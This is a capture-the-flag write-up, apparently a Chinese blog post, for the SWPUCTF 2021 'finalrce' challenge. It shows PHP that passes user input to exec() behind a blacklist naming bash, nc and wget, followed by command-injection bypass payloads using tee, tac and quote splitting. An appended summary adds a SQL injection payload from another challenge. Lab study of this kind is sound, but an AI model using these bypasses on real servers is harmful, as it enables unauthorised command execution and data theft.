【SWPUCTF 2021 新生赛】finalrce

题目

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
} 

思路

通过测试,为无回显RCE,

EXP

tee命令

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。

1.取反

?url=%93%8C |tee 1.txt

2.异或

ls /   异或之后    "13@^"]@`" 
因为过滤"  所以base64编码一下
?url=IjEzQCJeIl1AYCI=|tee 1.txt

3.变形

?url=l''s /|tee 1.txt

tac命令

tac命令的功能是用于反向显示文件内容,即常见的查看文件内容命令cat的反写形式

?url=tac /flllllaaaaaaggggggg|tee 2.txt
<
SWPUCTF 2021新生中,出现了以下几种错误情况: - **re2题目中flag格式与输出不符**:在re2题目里,最初拿到看似是flag的输出,提交却发现错误,原因是输出的内容格式不太像真的flag格式。由于存在结果重合情况,需列出所有情况,通过脚本处理字符编码转换来得到正确flag,如对字符串 "ylqq]aycqyp{" 进行字符编码转换,代码示例如下: ```python str2 = "ylqq]aycqyp{" str2 = list(str2) for i in range(0, len(str2)): if (ord(str2[i]) <= 120 or ord(str2[i]) > 122) and (ord(str2[i]) <= 88 or ord(str2[i]) > 90): str2[i] = chr(ord(str2[i]) + 2) else: str2[i] = chr(ord(str2[i]) - 24) flag = '' for i in range(0, len(str2)): flag += str2[i] print(flag) ``` 以及另一种代码实现方式: ```python enc = "ylqq]aycqyp{" flag = "" for i in enc: if (ord(i) <= 94 or ord(i) > 96) and (ord(i) <= 62 or ord(i) > 64): flag += chr(ord(i) + 2) else: flag += chr(ord(i) - 24) print(flag) ``` [^1] - **re1题目中ASCII值转换问题**:在re1题目中,若直接输入{34sy_r3v3rs3},计算机会对3、4进行ASCII值转换,导致与原结果不同。需要反过来输入字母,让计算机在ASCII值转换时将字母转换成所需数字,才能与正确答案匹配成功以解出题目[^2]。 - **WEB二题目中函数过滤问题**:在WEB二题目中,爆出的内容只有20位,需要使用截断函数进行绕过,但substr、right、REVERSE被过滤,只能使用mid函数进行截取,例如使用 `wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/test_db.LTLT_flag%23` 进行操作[^3]。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值